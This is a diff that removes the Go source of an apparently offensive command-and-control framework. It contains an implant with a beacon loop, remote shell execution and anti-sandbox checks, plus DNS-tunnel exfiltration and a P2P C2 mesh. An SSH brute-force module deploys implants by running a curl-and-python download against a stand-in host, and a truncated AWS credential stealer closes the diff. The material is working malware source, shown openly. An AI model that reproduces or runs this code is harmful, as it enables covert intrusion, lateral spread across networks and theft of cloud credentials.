salt := []byte("dns-tunnel")
a := DeriveSessionKey(secret, salt)
b := DeriveSessionKey(secret, salt)
if !bytes.Equal(a, b) {
t.Fatal("derivation not deterministic")
}
if len(a) != 32 {
t.Fatalf("derived key length %d", len(a))
}
c := DeriveSessionKey(secret, []byte("other"))
if bytes.Equal(a, c) {
t.Fatal("different salt produced same key")
}
}
func TestPublicKeyMarshal(t *testing.T) {
kp, err := GenerateKeyPair()
if err != nil {
t.Fatal(err)
}
pemBytes, err := MarshalPublicKey(kp.Public)
if err != nil {
t.Fatal(err)
}
pub, err := UnmarshalPublicKey(pemBytes)
if err != nil {
t.Fatal(err)
}
if !pub.Equal(ed25519.PublicKey(kp.Public)) {
t.Fatal("public key round-trip mismatch")
}
}
-211
View File
@@ -1,211 +0,0 @@
// Package dns provides DNS tunneling for secondary C2 communication.
package dns
import (
"encoding/base32"
"encoding/base64"
"fmt"
"math/rand"
"net"
"strings"
"sync"
"time"
"github.com/saviorSEC/ranger/internal/crypto"
)
// Tunnel provides DNS-based data exfiltration and command reception.
type Tunnel struct {
Domain string
Key []byte
chunkSize int
seenChunks map[string]map[int]string // sessionID -> seq -> chunk
mu sync.Mutex
}
// Fragment represents a single DNS query fragment.
type Fragment struct {
Seq int
Chunk string
FileMarker string
SessionID string
}
// New creates a DNS tunnel.
func New(domain string, key []byte) *Tunnel {
return &Tunnel{
Domain: domain,
Key: key,
chunkSize: 60,
seenChunks: make(map[string]map[int]string),
}
}
// Exfiltrate fragments data into DNS queries and sends them.
// Uses base32 for DNS-safe encoding with XChaCha20-Poly1305 encryption.
func (t *Tunnel) Exfiltrate(data []byte, filename string) error {
// Encrypt
encrypted, err := crypto.EncryptWithAEAD(t.Key, data)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
// Base32 encode
encoded := strings.TrimRight(base32.StdEncoding.EncodeToString(encrypted), "=")
sessionID := fmt.Sprintf("%x", time.Now().UnixNano())[:8]
fileTag := "data"
if filename != "" {
fileTag = strings.TrimRight(base32.StdEncoding.EncodeToString([]byte(filename))[:20], "=")
}
// Fragment
chunks := splitString(encoded, t.chunkSize)
for i, chunk := range chunks {
query := fmt.Sprintf("v%04x.%s.%s.%s.%s", i, chunk, fileTag, sessionID, t.Domain)
// Ensure DNS length limit
if len(query) > 253 {
subchunks := splitString(chunk, 40)
for j, sub := range subchunks {
subQ := fmt.Sprintf("v%04xs%02x.%s.%s.%s.%s", i, j, sub, fileTag, sessionID, t.Domain)
resolveDNS(subQ)
time.Sleep(time.Duration(100+rand.Intn(200)) * time.Millisecond)
}
} else {
resolveDNS(query)
}
if i < len(chunks)-1 {
time.Sleep(time.Duration(300+rand.Intn(700)) * time.Millisecond)
}
}
return nil
}
// Reconstruct reassembles fragmented data from a complete session.
func (t *Tunnel) Reconstruct(sessionID string) ([]byte, error) {
t.mu.Lock()
chunks, ok := t.seenChunks[sessionID]
delete(t.seenChunks, sessionID)
t.mu.Unlock()
if !ok || len(chunks) == 0 {
return nil, fmt.Errorf("no chunks for session %s", sessionID)
}
// Sort by sequence
var sorted []string
maxSeq := 0
for seq := range chunks {
if seq > maxSeq {
maxSeq = seq
}
}
for i := 0; i <= maxSeq; i++ {
if c, ok := chunks[i]; ok {
sorted = append(sorted, c)
}
}
encoded := strings.Join(sorted, "")
// Pad for base32
switch len(encoded) % 8 {
case 2:
encoded += "======"
case 4:
encoded += "===="
case 5:
encoded += "==="
case 7:
encoded += "="
}
encrypted, err := base32.StdEncoding.DecodeString(encoded)
if err != nil {
return nil, fmt.Errorf("base32 decode: %w", err)
}
return crypto.DecryptWithAEAD(t.Key, encrypted)
}
// ParseFragment extracts fragment data from a DNS query name.
func (t *Tunnel) ParseFragment(qname string) *Fragment {
qname = strings.TrimSuffix(qname, ".")
if !strings.HasSuffix(qname, t.Domain) {
return nil
}
subdomain := strings.TrimSuffix(qname, "."+t.Domain)
parts := strings.Split(subdomain, ".")
if len(parts) < 4 || !strings.HasPrefix(parts[0], "v") {
return nil
}
seqStr := strings.TrimPrefix(parts[0], "v")
seq := 0
fmt.Sscanf(seqStr, "%04x", &seq)
return &Fragment{
Seq: seq,
Chunk: parts[1],
FileMarker: parts[2],
SessionID: parts[3],
}
}
// ReceiveFragment stores a received fragment for later reconstruction.
func (t *Tunnel) ReceiveFragment(f *Fragment) (complete bool) {
t.mu.Lock()
defer t.mu.Unlock()
if t.seenChunks[f.SessionID] == nil {
t.seenChunks[f.SessionID] = make(map[int]string)
}
t.seenChunks[f.SessionID][f.Seq] = f.Chunk
// Check if session looks complete (last chunk < 60 chars)
return len(f.Chunk) < t.chunkSize
}
// EncodeCommand encodes a command into DNS-safe format.
func (t *Tunnel) EncodeCommand(cmd string) (string, error) {
encrypted, err := crypto.EncryptWithAEAD(t.Key, []byte(cmd))
if err != nil {
return "", err
}
return base64.RawStdEncoding.EncodeToString(encrypted), nil
}
// DecodeCommand decodes a DNS response into a command.
func (t *Tunnel) DecodeCommand(encoded string) (string, error) {
raw, err := base64.RawStdEncoding.DecodeString(encoded)
if err != nil {
return "", err
}
dec, err := crypto.DecryptWithAEAD(t.Key, raw)
if err != nil {
return "", err
}
return string(dec), nil
}
func resolveDNS(query string) {
net.LookupHost(query)
}
func splitString(s string, n int) []string {
var chunks []string
for i := 0; i < len(s); i += n {
end := i + n
if end > len(s) {
end = len(s)
}
chunks = append(chunks, s[i:end])
}
return chunks
}
-34
View File
@@ -1,34 +0,0 @@
package implantpkg
import (
"bytes"
"os/exec"
"time"
)
func execCommandGeneric(shell, flag, cmd string) (string, error) {
c := exec.Command(shell, flag, cmd)
var stdout, stderr bytes.Buffer
c.Stdout = &stdout
c.Stderr = &stderr
done := make(chan error, 1)
go func() {
done <- c.Run()
}()
select {
case err := <-done:
out := stdout.String()
if stderr.Len() > 0 {
out += "\nSTDERR: " + stderr.String()
}
if err != nil {
return out, err
}
return out, nil
case <-time.After(30 * time.Second):
c.Process.Kill()
return stdout.String(), nil
}
}
-491
View File
@@ -1,491 +0,0 @@
// Package implantpkg provides the core implant logic shared across platforms.
package implantpkg
import (
"crypto/rand"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"encoding/hex"
"encoding/json"
"fmt"
"log"
"math/big"
"net/http"
"os"
"runtime"
"strings"
"sync"
"time"
"github.com/gorilla/websocket"
"github.com/saviorSEC/RANGER_C3/internal/crypto"
"github.com/saviorSEC/RANGER_C3/internal/dns"
"github.com/saviorSEC/RANGER_C3/internal/payloads"
"github.com/saviorSEC/RANGER_C3/internal/protocol"
)
const (
MinUptimeSec = 300 // 5 min
MinDiskGB = 10
)
// Config for the implant.
type Config struct {
C2URL string // WebSocket URL for primary C2
C2Fingerprint string // SHA-256 certificate fingerprint to pin (hex)
SessionKey []byte // pre-shared session key
DNSDomain string // fallback DNS tunnel domain
MeshPeers []string // fallback P2P peers
BeaconMin int // min beacon interval (seconds)
BeaconMax int // max beacon interval (seconds)
Debug bool
SkipTLSVerify bool // skip TLS certificate verification
CAFile string // PEM file with CA / server certificate to trust
}
// Implant is the core agent.
type Implant struct {
cfg Config
id string
hostname string
arch string
targetProc string
dnsTunnel *dns.Tunnel
wsConn *websocket.Conn
wsMu sync.Mutex
stopCh chan struct{}
}
// New creates a new implant instance.
func New(cfg Config) *Implant {
hostname, _ := os.Hostname()
id := generateMachineID(hostname)
var dnsT *dns.Tunnel
if cfg.DNSDomain != "" {
key := crypto.DeriveSessionKey(cfg.SessionKey, []byte("dns-tunnel"))
dnsT = dns.New(cfg.DNSDomain, key)
}
return &Implant{
cfg: cfg,
id: id,
hostname: hostname,
arch: runtime.GOARCH,
targetProc: selectTargetProcess(),
dnsTunnel: dnsT,
stopCh: make(chan struct{}),
}
}
// ID returns the implant's unique identifier.
func (im *Implant) ID() string { return im.id[:16] }
// Run starts the main beacon loop.
func (im *Implant) Run() error {
if !im.environmentCheck() {
log.Printf("[implant] environment check failed, going dormant")
time.Sleep(1 * time.Hour)
if !im.environmentCheck() {
return fmt.Errorf("hostile environment")
}
}
log.Printf("[implant] started: %s (proc: %s)", im.id[:8], im.targetProc)
for {
select {
case <-im.stopCh:
return nil
default:
}
// Try primary WebSocket channel
err := im.beaconPrimary()
if err != nil {
log.Printf("[implant] primary channel failed: %v", err)
// Fall back to DNS tunnel
if im.dnsTunnel != nil {
im.beaconDNS()
}
}
interval := jitterInterval(im.cfg.BeaconMin, im.cfg.BeaconMax)
sleepWithJitter(interval)
}
}
// Stop signals the implant to shut down.
func (im *Implant) Stop() {
close(im.stopCh)
}
// beaconPrimary sends a beacon via WebSocket to the C2.
func (im *Implant) beaconPrimary() error {
// Connect if not connected
if im.wsConn == nil {
tlsCfg, err := tlsClientConfig(im.cfg)
if err != nil {
return fmt.Errorf("tls config: %w", err)
}
dialer := websocket.Dialer{
TLSClientConfig: tlsCfg, // nil = system trust store
HandshakeTimeout: 10 * time.Second,
}
conn, _, err := dialer.Dial(im.cfg.C2URL, http.Header{
"User-Agent": []string{userAgent()},
})
if err != nil {
return fmt.Errorf("ws dial: %w", err)
}
im.wsMu.Lock()
im.wsConn = conn
im.wsMu.Unlock()
defer func() {
im.wsMu.Lock()
im.wsConn.Close()
im.wsConn = nil
im.wsMu.Unlock()
}()
}
// Build beacon
beacon := protocol.BeaconPayload{
ID: im.id[:16],
Type: protocol.ImplantType(runtime.GOOS),
Target: im.targetProc,
Timestamp: time.Now().Unix(),
Hostname: im.hostname,
Arch: im.arch,
}
// Encrypt with session key
data, _ := json.Marshal(beacon)
encrypted, err := crypto.EncryptWithAEAD(im.cfg.SessionKey, data)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
im.wsMu.Lock()
err = im.wsConn.WriteMessage(websocket.BinaryMessage, encrypted)
im.wsMu.Unlock()
if err != nil {
return fmt.Errorf("ws write: %w", err)
}
// Read tasks
im.wsMu.Lock()
_, msg, err := im.wsConn.ReadMessage()
im.wsMu.Unlock()
if err != nil {
return fmt.Errorf("ws read: %w", err)
}
decrypted, err := crypto.DecryptWithAEAD(im.cfg.SessionKey, msg)
if err != nil {
return fmt.Errorf("decrypt: %w", err)
}
var tasks []protocol.Task
if err := json.Unmarshal(decrypted, &tasks); err != nil {
return fmt.Errorf("unmarshal tasks: %w", err)
}
// Execute tasks
for _, task := range tasks {
result := im.executeTask(&task)
resultJSON, _ := json.Marshal(result)
encResult, _ := crypto.EncryptWithAEAD(im.cfg.SessionKey, resultJSON)
im.wsMu.Lock()
im.wsConn.WriteMessage(websocket.BinaryMessage, encResult)
im.wsMu.Unlock()
}
return nil
}
// beaconDNS sends a beacon via DNS tunnel as fallback.
func (im *Implant) beaconDNS() {
if im.dnsTunnel == nil {
return
}
beacon := protocol.BeaconPayload{
ID: im.id[:16],
Type: protocol.ImplantType(runtime.GOOS),
Target: im.targetProc,
Timestamp: time.Now().Unix(),
}
data, _ := json.Marshal(beacon)
if err := im.dnsTunnel.Exfiltrate(data, "beacon"); err != nil {
log.Printf("[implant] DNS beacon failed: %v", err)
}
}
// executeTask runs a single task and returns the result.
func (im *Implant) executeTask(task *protocol.Task) *protocol.TaskResult {
result := &protocol.TaskResult{
TaskID: task.ID,
Timestamp: time.Now().Unix(),
}
switch task.Type {
case "shell":
output, err := executeShell(task.Payload)
if err != nil {
result.Error = err.Error()
} else {
result.Success = true
result.Output = output
}
case "recon":
output, err := executeRecon(task.Payload)
if err != nil {
result.Error = err.Error()
} else {
result.Success = true
result.Output = output
}
case "upload":
result.Success = true
result.Output = "upload queued"
case "download":
result.Success = true
result.Output = "download queued"
case "sleep":
result.Success = true
result.Output = "sleep command received"
case "payload":
output, err := im.executePayload(task.Payload)
if err != nil {
result.Error = err.Error()
} else {
result.Success = true
result.Output = output
}
case "exit":
result.Success = true
result.Output = "self-destruct initiated"
go im.Stop()
default:
result.Error = fmt.Sprintf("unknown task type: %s", task.Type)
}
return result
}
// environmentCheck runs anti-sandbox checks.
func (im *Implant) environmentCheck() bool {
checks := 0
// Uptime check
if uptimeSec() >= MinUptimeSec {
checks++
}
// Disk check
if diskTotalGB() >= MinDiskGB {
checks++
}
// CPU check
if runtime.NumCPU() >= 2 {
checks++
}
return checks >= 2
}
// executePayload runs a Go payload from the in-process payload registry.
func (im *Implant) executePayload(payload map[string]any) (string, error) {
name, _ := payload["name"].(string)
if name == "" {
return "", fmt.Errorf("no payload name specified")
}
args := payloads.ExecuteTaskArgs(payload)
data, err := payloads.ExecuteByName(name, args)
if err != nil {
return "", fmt.Errorf("payload %s: %w", name, err)
}
return string(data), nil
}
func generateMachineID(hostname string) string {
b := make([]byte, 16)
rand.Read(b)
return fmt.Sprintf("%x", b)
}
func selectTargetProcess() string {
switch runtime.GOOS {
case "windows":
targets := []string{"taskhostw.exe", "sihost.exe", "dllhost.exe", "RuntimeBroker.exe", "CompatTelRunner.exe"}
return targets[time.Now().UnixNano()%int64(len(targets))]
case "linux":
targets := []string{"packagekitd", "systemd-journald", "irqbalance", "accounts-daemon"}
return targets[time.Now().UnixNano()%int64(len(targets))]
case "darwin":
targets := []string{"metadatah", "bird", "cloudd", "distnoted"}
return targets[time.Now().UnixNano()%int64(len(targets))]
default:
return "service"
}
}
func jitterInterval(minSec, maxSec int) time.Duration {
if minSec <= 0 {
minSec = 60
}
if maxSec <= 0 {
maxSec = 300
}
n, _ := rand.Int(rand.Reader, big.NewInt(int64(maxSec-minSec+1)))
interval := minSec + int(n.Int64())
// Time-based shaping
hour := time.Now().Hour()
if hour >= 1 && hour <= 5 {
interval *= 3
} else if hour >= 9 && hour <= 17 {
interval = interval * 7 / 10
}
return time.Duration(interval) * time.Second
}
func sleepWithJitter(d time.Duration) {
// Break into smaller sleeps for responsiveness
const chunk = 5 * time.Second
for d > 0 {
if d < chunk {
time.Sleep(d)
return
}
time.Sleep(chunk)
d -= chunk
}
}
func uptimeSec() int64 {
// Simple uptime via /proc on Linux
if runtime.GOOS == "linux" {
data, err := os.ReadFile("/proc/uptime")
if err == nil {
parts := strings.Fields(string(data))
if len(parts) > 0 {
var uptime float64
fmt.Sscanf(parts[0], "%f", &uptime)
return int64(uptime)
}
}
}
return 999999 // assume safe
}
func diskTotalGB() float64 {
// Simple check - return large value on non-Linux
if runtime.GOOS == "linux" {
var stat unixStatfs_t
if statfs("/", &stat) == nil {
total := uint64(stat.Bsize) * stat.Blocks
return float64(total) / (1024 * 1024 * 1024)
}
}
return 999
}
// executeShell runs a shell command and returns output.
func executeShell(payload map[string]any) (string, error) {
cmd, _ := payload["command"].(string)
if cmd == "" {
return "", fmt.Errorf("no command")
}
// Use shell based on platform
var shell, flag string
switch runtime.GOOS {
case "windows":
shell = "cmd.exe"
flag = "/C"
default:
shell = "/bin/sh"
flag = "-c"
}
return execCommand(shell, flag, cmd)
}
// executeRecon gathers system information.
func executeRecon(payload map[string]any) (string, error) {
info := map[string]any{
"os": runtime.GOOS,
"arch": runtime.GOARCH,
"hostname": hostname(),
"cpus": runtime.NumCPU(),
"gover": runtime.Version(),
}
data, _ := json.MarshalIndent(info, "", " ")
return string(data), nil
}
func hostname() string {
h, _ := os.Hostname()
return h
}
func userAgent() string {
return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
// tlsClientConfig builds the TLS settings for the C2 WebSocket dial.
func tlsClientConfig(cfg Config) (*tls.Config, error) {
if cfg.CAFile == "" && cfg.C2Fingerprint == "" && !cfg.SkipTLSVerify {
return nil, nil // system trust store
}
tc := &tls.Config{MinVersion: tls.VersionTLS12}
if cfg.SkipTLSVerify {
tc.InsecureSkipVerify = true
}
if cfg.CAFile != "" {
pemData, err := os.ReadFile(cfg.CAFile)
if err != nil {
return nil, fmt.Errorf("read ca file: %w", err)
}
pool := x509.NewCertPool()
if !pool.AppendCertsFromPEM(pemData) {
return nil, fmt.Errorf("no certificates found in %s", cfg.CAFile)
}
tc.RootCAs = pool
}
if cfg.C2Fingerprint != "" {
want := normalizeFingerprint(cfg.C2Fingerprint)
tc.InsecureSkipVerify = true // chain verifies via pin below
tc.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
if len(rawCerts) == 0 {
return fmt.Errorf("no peer certificate presented")
}
sum := sha256.Sum256(rawCerts[0])
if hex.EncodeToString(sum[:]) != want {
return fmt.Errorf("certificate fingerprint mismatch")
}
return nil
}
}
return tc, nil
}
func normalizeFingerprint(fp string) string {
fp = strings.ToLower(strings.TrimSpace(fp))
fp = strings.ReplaceAll(fp, ":", "")
fp = strings.ReplaceAll(fp, " ", "")
return fp
}
-15
View File
@@ -1,15 +0,0 @@
//go:build linux || darwin
package implantpkg
import "syscall"
type unixStatfs_t = syscall.Statfs_t
func statfs(path string, stat *unixStatfs_t) error {
return syscall.Statfs(path, stat)
}
func execCommand(shell, flag, cmd string) (string, error) {
return execCommandGeneric(shell, flag, cmd)
}
-43
View File
@@ -1,43 +0,0 @@
//go:build windows
package implantpkg
import (
"syscall"
"unsafe"
)
// statfsStats mirrors the unix statfs fields ranger reads on Linux so the
// shared statfs() callers compile unchanged; on Windows the values are
// populated from GetDiskFreeSpaceExW below.
type unixStatfs_t struct {
Bsize uint64
Blocks uint64
}
func statfs(path string, stat *unixStatfs_t) error {
// Use GetDiskFreeSpaceEx on Windows
kernel32 := syscall.NewLazyDLL("kernel32.dll")
getDiskFreeSpaceEx := kernel32.NewProc("GetDiskFreeSpaceExW")
pathPtr, _ := syscall.UTF16PtrFromString(path + "\\")
var freeBytesAvailable, totalBytes, totalFreeBytes int64
ret, _, _ := getDiskFreeSpaceEx.Call(
uintptr(unsafe.Pointer(pathPtr)),
uintptr(unsafe.Pointer(&freeBytesAvailable)),
uintptr(unsafe.Pointer(&totalBytes)),
uintptr(unsafe.Pointer(&totalFreeBytes)),
)
if ret == 0 {
return syscall.GetLastError()
}
stat.Blocks = uint64(totalBytes) / 4096
stat.Bsize = 4096
return nil
}
func execCommand(shell, flag, cmd string) (string, error) {
return execCommandGeneric(shell, flag, cmd)
}
-300
View File
@@ -1,300 +0,0 @@
// Package mesh provides P2P networking between C2 nodes.
// Uses TLS mutual auth + gossip protocol over TCP for discovery and state sync.
package mesh
import (
"crypto"
"crypto/ed25519"
"crypto/tls"
"encoding/gob"
"encoding/hex"
"fmt"
"log"
"net"
"sync"
"time"
"github.com/saviorSEC/ranger/internal/protocol"
)
// Config for a mesh node.
type Config struct {
NodeID string
ListenAddr string
Bootstrap []string // initial peers to connect to
TLSCert tls.Certificate
SigningKey crypto.Signer // Ed25519 node identity key; signs every heartbeat
OnHeartbeat func(*protocol.MeshHeartbeat)
OnPeerJoin func(*protocol.MeshNode)
OnPeerLeave func(string)
}
// Node is a peer in the C2 mesh network.
type Node struct {
cfg Config
peers map[string]*peerConn
mu sync.RWMutex
stopCh chan struct{}
}
type peerConn struct {
id string
conn net.Conn
enc *gob.Encoder
dec *gob.Decoder
peerKey ed25519.PublicKey // from peer TLS cert
lastSeen time.Time
}
// signHeartbeat signs the canonical heartbeat bytes with the node key.
func (n *Node) signHeartbeat(hb *protocol.MeshHeartbeat) error {
if n.cfg.SigningKey == nil {
return nil // unsigned mode (no key configured)
}
payload := heartbeatPayload(hb)
sig, err := n.cfg.SigningKey.Sign(nil, payload, crypto.Hash(0))
if err != nil {
return err
}
hb.Signature = sig
return nil
}
// verifyHeartbeat checks a peer heartbeat signature against the peer key
// learned from its TLS client certificate.
func verifyHeartbeat(hb *protocol.MeshHeartbeat, pub ed25519.PublicKey) bool {
if len(pub) == 0 {
return false
}
payload := heartbeatPayload(hb)
return ed25519.Verify(pub, payload, hb.Signature)
}
func heartbeatPayload(hb *protocol.MeshHeartbeat) []byte {
return []byte(fmt.Sprintf("%s|%s|%d", hb.NodeID, hb.Addr, hb.Timestamp))
}
// NewNode creates a mesh node.
func NewNode(cfg Config) *Node {
return &Node{
cfg: cfg,
peers: make(map[string]*peerConn),
stopCh: make(chan struct{}),
}
}
// Start begins listening for peer connections and bootstraps.
func (n *Node) Start() error {
ln, err := tls.Listen("tcp", n.cfg.ListenAddr, &tls.Config{
Certificates: []tls.Certificate{n.cfg.TLSCert},
ClientAuth: tls.RequireAnyClientCert,
InsecureSkipVerify: true, // self-signed certs
MinVersion: tls.VersionTLS12,
})
if err != nil {
return fmt.Errorf("mesh listen: %w", err)
}
go func() {
for {
conn, err := ln.Accept()
if err != nil {
select {
case <-n.stopCh:
return
default:
log.Printf("[mesh] accept error: %v", err)
time.Sleep(100 * time.Millisecond)
continue
}
}
go n.handlePeer(conn)
}
}()
// Bootstrap to known peers
for _, addr := range n.cfg.Bootstrap {
go n.dialPeer(addr)
}
// Start heartbeat broadcaster
go n.heartbeatLoop()
log.Printf("[mesh] node %s listening on %s with %d bootstrap peers",
n.cfg.NodeID[:8], n.cfg.ListenAddr, len(n.cfg.Bootstrap))
return nil
}
// Stop shuts down the mesh node.
func (n *Node) Stop() {
close(n.stopCh)
}
// handlePeer processes an incoming or outgoing peer connection.
func (n *Node) handlePeer(conn net.Conn) {
defer conn.Close()
tlsConn, ok := conn.(*tls.Conn)
if !ok {
return
}
if err := tlsConn.Handshake(); err != nil {
return
}
// Derive peer ID + identity key from the client cert (mTLS).
certs := tlsConn.ConnectionState().PeerCertificates
peerID := n.cfg.NodeID // fallback: same as us
var peerKey ed25519.PublicKey
if len(certs) > 0 {
if cn := certs[0].Subject.CommonName; cn != "" {
peerID = cn
} else {
peerID = hex.EncodeToString(certs[0].SerialNumber.Bytes())
}
if pk, ok := certs[0].PublicKey.(ed25519.PublicKey); ok {
peerKey = pk
}
}
enc := gob.NewEncoder(conn)
dec := gob.NewDecoder(conn)
// Send our identity immediately (signed)
hb := protocol.MeshHeartbeat{
NodeID: n.cfg.NodeID,
Addr: n.cfg.ListenAddr,
Implants: nil,
Timestamp: time.Now().Unix(),
}
if err := n.signHeartbeat(&hb); err != nil {
log.Printf("[mesh] sign identity: %v", err)
}
if err := enc.Encode(hb); err != nil {
return
}
// Wait for peer's identity
var peerHB protocol.MeshHeartbeat
if err := dec.Decode(&peerHB); err != nil {
return
}
if peerHB.NodeID != "" {
peerID = peerHB.NodeID
}
n.mu.Lock()
n.peers[peerID] = &peerConn{
id: peerID,
conn: conn,
enc: enc,
dec: dec,
peerKey: peerKey,
lastSeen: time.Now(),
}
n.mu.Unlock()
if n.cfg.OnPeerJoin != nil {
n.cfg.OnPeerJoin(&protocol.MeshNode{
ID: peerID,
Addr: conn.RemoteAddr().String(),
Implants: len(peerHB.Implants),
Version: "3.0",
})
}
// Read loop for heartbeats
for {
conn.SetDeadline(time.Now().Add(60 * time.Second))
var msg protocol.MeshHeartbeat
if err := dec.Decode(&msg); err != nil {
break
}
conn.SetDeadline(time.Time{})
if peerKey != nil && len(msg.Signature) > 0 {
if !verifyHeartbeat(&msg, peerKey) {
log.Printf("[mesh] dropping heartbeat with bad signature from %s", peerID[:8])
continue
}
}
n.mu.Lock()
if p, ok := n.peers[peerID]; ok {
p.lastSeen = time.Now()
}
n.mu.Unlock()
if n.cfg.OnHeartbeat != nil {
n.cfg.OnHeartbeat(&msg)
}
}
n.mu.Lock()
delete(n.peers, peerID)
n.mu.Unlock()
if n.cfg.OnPeerLeave != nil {
n.cfg.OnPeerLeave(peerID)
}
}
// dialPeer connects to a remote mesh node.
func (n *Node) dialPeer(addr string) {
conn, err := tls.Dial("tcp", addr, &tls.Config{
Certificates: []tls.Certificate{n.cfg.TLSCert},
InsecureSkipVerify: true,
MinVersion: tls.VersionTLS12,
})
if err != nil {
log.Printf("[mesh] dial %s: %v", addr, err)
return
}
n.handlePeer(conn)
}
// heartbeatLoop broadcasts our presence to all peers periodically.
func (n *Node) heartbeatLoop() {
ticker := time.NewTicker(30 * time.Second)
defer ticker.Stop()
for {
select {
case <-ticker.C:
hb := protocol.MeshHeartbeat{
NodeID: n.cfg.NodeID,
Addr: n.cfg.ListenAddr,
Timestamp: time.Now().Unix(),
}
if err := n.signHeartbeat(&hb); err != nil {
log.Printf("[mesh] sign heartbeat: %v", err)
continue
}
n.mu.RLock()
for id, p := range n.peers {
if err := p.enc.Encode(hb); err != nil {
log.Printf("[mesh] send to %s: %v", id[:8], err)
}
}
n.mu.RUnlock()
case <-n.stopCh:
return
}
}
}
// Peers returns the list of connected peer IDs.
func (n *Node) Peers() []string {
n.mu.RLock()
defer n.mu.RUnlock()
var out []string
for id := range n.peers {
out = append(out, id)
}
return out
}
// init registers types for gob encoding.
func init() {
gob.Register(protocol.MeshHeartbeat{})
}
-213
View File
@@ -1,213 +0,0 @@
package payloads
import (
"fmt"
"net"
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
"golang.org/x/crypto/ssh"
)
func init() {
Register(&AutoDeploy{})
}
type AutoDeploy struct{}
func (a *AutoDeploy) Name() string { return "autodeploy" }
func (a *AutoDeploy) Category() string { return "lateral" }
func (a *AutoDeploy) Description() string {
return "Auto-discover hosts via network scanning and deploy implants via SSH"
}
func (a *AutoDeploy) Execute(args map[string]string) ([]byte, error) {
network := args["network"]
if network == "" {
network = "192.168.1.0/24"
}
implantURL := args["implant_url"]
if implantURL == "" {
implantURL = "http://rogue-c2.example.com/implant"
}
threadsStr := args["threads"]
threads := 10
fmt.Sscanf(threadsStr, "%d", &threads)
result := a.deploy(network, implantURL, threads)
return MarshalJSON(result)
}
type autodeployResult struct {
Timestamp string `json:"timestamp"`
Network string `json:"network"`
Discovered int `json:"discovered"`
Deployed int `json:"deployed"`
Failed int `json:"failed"`
Hosts []deployHost `json:"hosts"`
Credentials []deployCred `json:"valid_credentials,omitempty"`
}
type deployHost struct {
IP string `json:"ip"`
Online bool `json:"online"`
Deployed bool `json:"deployed"`
}
type deployCred struct {
Host string `json:"host"`
Username string `json:"username"`
Password string `json:"password"`
}
var commonCreds = []struct {
User string
Passwords []string
}{
{"root", []string{"root", "toor", "admin", "password", ""}},
{"admin", []string{"admin", "password", "123456", ""}},
{"ubuntu", []string{"ubuntu", ""}},
{"pi", []string{"raspberry", ""}},
{"user", []string{"user", "123456", ""}},
}
func (a *AutoDeploy) deploy(network, implantURL string, threads int) *autodeployResult {
r := &autodeployResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Network: network,
}
// Discover hosts
hosts := discoverHosts(network)
r.Discovered = len(hosts)
for _, h := range hosts {
r.Hosts = append(r.Hosts, deployHost{IP: h, Online: true})
}
if len(hosts) == 0 {
return r
}
// Deploy to each host
var mu sync.Mutex
var wg sync.WaitGroup
sema := make(chan struct{}, threads)
for _, host := range hosts {
sema <- struct{}{}
wg.Add(1)
go func(ip string) {
defer wg.Done()
defer func() { <-sema }()
deployed := false
for _, cred := range commonCreds {
if deployed {
break
}
for _, pass := range cred.Passwords {
if trySSHDeploy(ip, cred.User, pass, implantURL) {
mu.Lock()
r.Deployed++
r.Credentials = append(r.Credentials, deployCred{
Host: ip,
Username: cred.User,
Password: pass,
})
mu.Unlock()
deployed = true
break
}
time.Sleep(100 * time.Millisecond)
}
}
if !deployed {
mu.Lock()
r.Failed++
mu.Unlock()
}
}(host)
}
wg.Wait()
return r
}
func discoverHosts(network string) []string {
var hosts []string
// Use fping if available
if fping, err := exec.LookPath("fping"); err == nil {
out, err := exec.Command(fping, "-a", "-g", network, "-q").Output()
if err == nil {
for _, line := range strings.Split(string(out), "\n") {
ip := strings.TrimSpace(line)
if ip != "" {
hosts = append(hosts, ip)
}
}
if len(hosts) > 0 {
return hosts
}
}
_ = fping
}
// Sequential ping scan
_, ipnet, err := net.ParseCIDR(network)
if err != nil {
return hosts
}
ip := ipnet.IP.Mask(ipnet.Mask)
for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); incIP(ip) {
if ip.IsLoopback() || ip.Equal(ipnet.IP.Mask(ipnet.Mask)) {
continue
}
// Quick port check on 22
addr := fmt.Sprintf("%s:22", ip.String())
conn, err := net.DialTimeout("tcp", addr, 500*time.Millisecond)
if err == nil {
conn.Close()
hosts = append(hosts, ip.String())
}
if len(hosts) >= 50 {
break
}
}
return hosts
}
func trySSHDeploy(host, username, password, implantURL string) bool {
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{ssh.Password(password)},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: 5 * time.Second,
}
addr := fmt.Sprintf("%s:22", host)
client, err := ssh.Dial("tcp", addr, config)
if err != nil {
return false
}
defer client.Close()
// Execute download and run
session, err := client.NewSession()
if err != nil {
return false
}
defer session.Close()
cmd := fmt.Sprintf("curl -s %s -o /tmp/.update.py && python3 /tmp/.update.py &", implantURL)
session.Run(cmd)
return true
}
var _ = filepath.Join
-207
View File
@@ -1,207 +0,0 @@
package payloads
import (
"bufio"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"regexp"
"strings"
"time"
)
func init() {
Register(&AWSCredStealer{})
}
type AWSCredStealer struct{}
func (a *AWSCredStealer) Name() string { return "aws_cred_stealer" }
func (a *AWSCredStealer) Category() string { return "credential" }
func (a *AWSCredStealer) Description() string {
return "Harvest AWS credentials from metadata endpoint, env vars, config files, disk"
}
func (a *AWSCredStealer) Execute(args map[string]string) ([]byte, error) {
result := a.extract()
return MarshalJSON(result)
}
type awsCredResult struct {
Timestamp string `json:"timestamp"`
Credentials map[string]interface{} `json:"credentials"`
UserdataSecret map[string]interface{} `json:"userdata_secrets,omitempty"`
}
func (a *AWSCredStealer) extract() *awsCredResult {
r := &awsCredResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Credentials: make(map[string]interface{}),
}
// 1. AWS CLI credentials file
home, _ := os.UserHomeDir()
credFile := filepath.Join(home, ".aws", "credentials")
if data, err := os.ReadFile(credFile); err == nil {
